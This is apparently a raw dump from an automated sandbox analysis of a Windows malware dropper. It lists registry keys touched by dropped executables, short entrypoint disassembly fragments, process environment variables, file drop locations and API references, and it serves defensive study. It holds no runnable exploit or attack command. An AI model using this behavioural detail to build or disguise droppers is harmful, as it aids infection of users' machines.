"PSDispatch" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020420-0000-0000-C000-000000000046}") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "PSEnumVariant" (Path: "HKCU\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS") "BroomSetup.exe" touched "Enhanced Storage Icon Overlay Handler Class" (Path: "HKCU\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 1 (GFS Unread Stub)" (Path: "HKCU\CLSID\{99FD978C-D287-4F50-827F-B2C658EDA8E7}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 2 (GFS Stub)" (Path: "HKCU\CLSID\{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)" (Path: "HKCU\CLSID\{920E6DB1-9907-4370-B3A0-BAFC03D81399}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 3 (GFS Folder)" (Path: "HKCU\CLSID\{16F3DD56-1AF5-4347-846D-7C10C4192619}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 4 (GFS Unread Mark)" (Path: "HKCU\CLSID\{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}\INPROCSERVER32")50:T15d1,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "BroomSetup.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,mov eax, 0x78f138,call 0x411004,mov ebx, dword ptr [0x7a94d8],mov eax, dword ptr [ebx],call 0x61b794,mov cl, 1,mov edx, 0x79bba4,mov eax, dword ptr [0x5ace48],call 0x5c5ca8,mov ecx, dword ptr [0x7a92bc],mov eax, dword ptr [ebx],mov edx, dword ptr [0x72d89c],call 0x61b7ac,mov ecx, dword ptr [0x7a9738],mov eax, dword ptr [ebx],mov edx, dword ptr [0x72b610],call 0x61b7ac,mov ecx, dword ptr [0x7a900c],mov eax, dword ptr [ebx],mov edx, dword ptr [0x72bd20]," "31839b57a4f11171d6abc8bbc4451ee4.exe" file has an entrypoint instructions - "call 0x40605e,jmp 0x402b8a,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x81e290,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x402d36,test byte ptr [eax], 8,je 0x402d36,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c],push dword ptr [ebp - 0x20],call dword ptr [0x81e0a0],leave ,ret 8,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328," "InstallSetup9.exe" file has an entrypoint instructions - "sub esp, 0x3f8,push ebp,push esi,push edi,push 0x20,pop edi,xor ebp, ebp,push 0x8001,mov dword ptr [esp + 0x20], ebp,mov dword ptr [esp + 0x18], 0x40a2d8,mov dword ptr [esp + 0x14], ebp,call dword ptr [0x4080a4],mov esi, dword ptr [0x4080a8],lea eax, [esp + 0x34],push eax,mov dword ptr [esp + 0x4c], ebp,mov dword ptr [esp + 0x14c], ebp,mov dword ptr [esp + 0x150], ebp,mov dword ptr [esp + 0x38], 0x11c,call esi,test eax, eax,jne 0x4035be,lea eax, [esp + 0x34],mov dword ptr [esp + 0x34], 0x114,push eax,call esi," "rty25.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x10000c16c,add rsp, 0x28,jmp 0x10000cae8,nop ,nop ,nop ,nop ,nop ,nop ,nop ,nop ,nop ,mov rax, rsp,mov qword ptr [rax + 8], rbx,mov qword ptr [rax + 0x10], rdi,mov qword ptr [rax + 0x18], r12,push r13,sub rsp, 0xb0,xor ebx, ebx,mov dword ptr [rsp + 0x20], ebx,lea rcx, [rax - 0x78],call qword ptr [rip + 0x56810],nop ,mov rax, qword ptr gs:[0x30],mov rdi, qword ptr [rax + 8],mov r12d, ebx,xor eax, eax,lock cmpxchg qword ptr [rip + 0x835b4], rdi,jne 0x100023c03," "toolspub1.exe" file has an entrypoint instructions - "call 0x40605e,jmp 0x402b8a,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x433290,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x402d36,test byte ptr [eax], 8,je 0x402d36,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c],push dword ptr [ebp - 0x20],call dword ptr [0x4330a0],leave ,ret 8,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328," "INetC.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],mov dword ptr [0x10005d94], eax,xor eax, eax,inc eax,ret 0xc,mov eax, dword ptr [0x1000a758],test eax, eax,push esi,je 0x100045f9,mov esi, dword ptr [eax],test esi, esi,je 0x100045f9,cmp dword ptr [esp + 8], 0,je 0x100045ea,lea eax, [esi + 4],push eax,push dword ptr [esp + 0xc],call dword ptr [0x10001008],mov eax, dword ptr [0x1000a758],mov ecx, dword ptr [esi],push esi,mov dword ptr [eax], ecx,call dword ptr [0x10001078],xor eax, eax,jmp 0x100045fc,xor eax, eax,inc eax,pop esi,ret 4,cmp dword ptr [0x1000a758], 0,je 0x1000463e,mov eax, dword ptr [0x1000a75c],push esi,lea eax, [eax + eax + 8],push eax," "CHCP.COM.6A98C882.bin" file has an entrypoint instructions - "call 0x1001d91,jmp 0x1001880,int3 ,int3 ,int3 ,int3 ,int3 ,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],mov eax, dword ptr [eax],cmp dword ptr [eax], 0xe06d7363,jne 0x1001aff,cmp dword ptr [eax + 0x10], 3,jne 0x1001aff,mov eax, dword ptr [eax + 0x14],cmp eax, 0x19930520,je 0x1001af9,cmp eax, 0x19930521,je 0x1001af9,cmp eax, 0x19930522,je 0x1001af9,cmp eax, 0x1994000,jne 0x1001aff,call dword ptr [0x100106c],xor eax, eax,pop ebp,ret 4,int3 ,int3 ,int3 ,int3 ,int3 ,push 0x1001ac2,call dword ptr [0x1001028],xor eax, eax,"51:T462,Process "InstallSetup9.exe" (UID: 00000000-00002856) was launched with new environment variables: "USERDNSDOMAIN="%OSUSER%-PC"" Process "InstallSetup9.exe" (UID: 00000000-00002856) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "chcp.com" (UID: 00000000-00003192) was launched with new environment variables: "PROMPT="$P$G"" Process "31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 00000000-00003348) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, HOMEPATH, TEMP, USERPROFILE, TMP, NUMBER_OF_PROCESSORS" Process "31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 00000000-00003348) was launched with missing environment variables: "LOGONSERVER, PROMPT, USERDNSDOMAIN" Process "schtasks.exe" (UID: 00000000-00002732) was launched with new environment variables: "LOGONSERVER="%HOSTNAME%", PROMPT="$P$G", USERDNSDOMAIN="%OSUSER%-PC"" Process "schtasks.exe" (UID: 00000000-00002732) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, HOMEPATH, TEMP, USERPROFILE, TMP, NUMBER_OF_PROCESSORS"52:T9bb,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG")53:Td48,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00000640-00000C2B-256943787] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00000640-00000C2B-257294342] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00000640-00000C2B-258501198] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00000640-00000C2B-258646129] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00000640-00000C2B-258931927] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00000640-00000C2B-259001661] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00000640-00000C2B-259211965] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00000640-00000C2B-259497990] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00000640-00000C2B-259571746] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00000640-00000C2B-260013759] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00000640-00000C2B-260080472] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00000640-00000C2B-260147115] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00000640-00000C2B-260263545] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00000640-00000C2B-260530309] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00000640-00000C2B-266605837] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll" [Source: 00000000-00000640-00000C2B-268079810] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00002856-00000C2B-264480324] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00002856-00000C2B-264574189] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00002856-00000C2B-264671849] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00002856-00000C2B-265124319] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00002856-00000C2B-265219366] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00002856-00000C2B-265317956] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00002856-00000C2B-265411210] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00002856-00000C2B-265511013] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00002512-00000C2B-274358695]54:T71c,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp")55:T50b,"BroomSetup.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00002856] "31839b57a4f11171d6abc8bbc4451ee4.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe]- [targetUID: 00000000-00002512] "InstallSetup9.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00002856] "rty25.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- Location: [%TEMP%\rty25.exe]- [targetUID: 00000000-00000640] "toolspub1.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\toolspub1.exe]- [targetUID: 00000000-00004224] "INetC.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nsi3737.tmp\INetC.dll]- [targetUID: 00000000-00002856] "Task.bat" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Temp\Task.bat]- [targetUID: 00000000-00004500] "CHCP.COM.6A98C882.bin" has type "PE32 executable for MS Windows 6.01 (console) Intel i386 4 sections"- [targetUID: N/A]56:T1023,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\PROGID"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\PROGID"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE\DELEGATEFOLDERS\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\USERSFILES\NAMESPACE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\USERSFILES\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INPROCSERVER32"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INPROCSERVER32"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32"; Key: ""; Value: "")57:T1299,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "MAXIMIZEAPPS"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "MAXIMIZEAPPS"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "MAXIMUMALLOWEDALLOCATIONSIZE"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE\DELEGATEFOLDERS"; Key: "SUPPRESSIONPOLICY"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE\DELEGATEFOLDERS\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}"; Key: "SUPPRESSIONPOLICY"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INPROCSERVER32"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INPROCSERVER32"; Key: "LOADWITHOUTCOM"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE"; Key: "CLSID"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32"; Key: "LOADWITHOUTCOM"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE\INITPROPERTYBAG"; Key: "ATTRIBUTES"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE\INITPROPERTYBAG"; Key: "DESCRIPTIONID"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE\INITPROPERTYBAG"; Key: 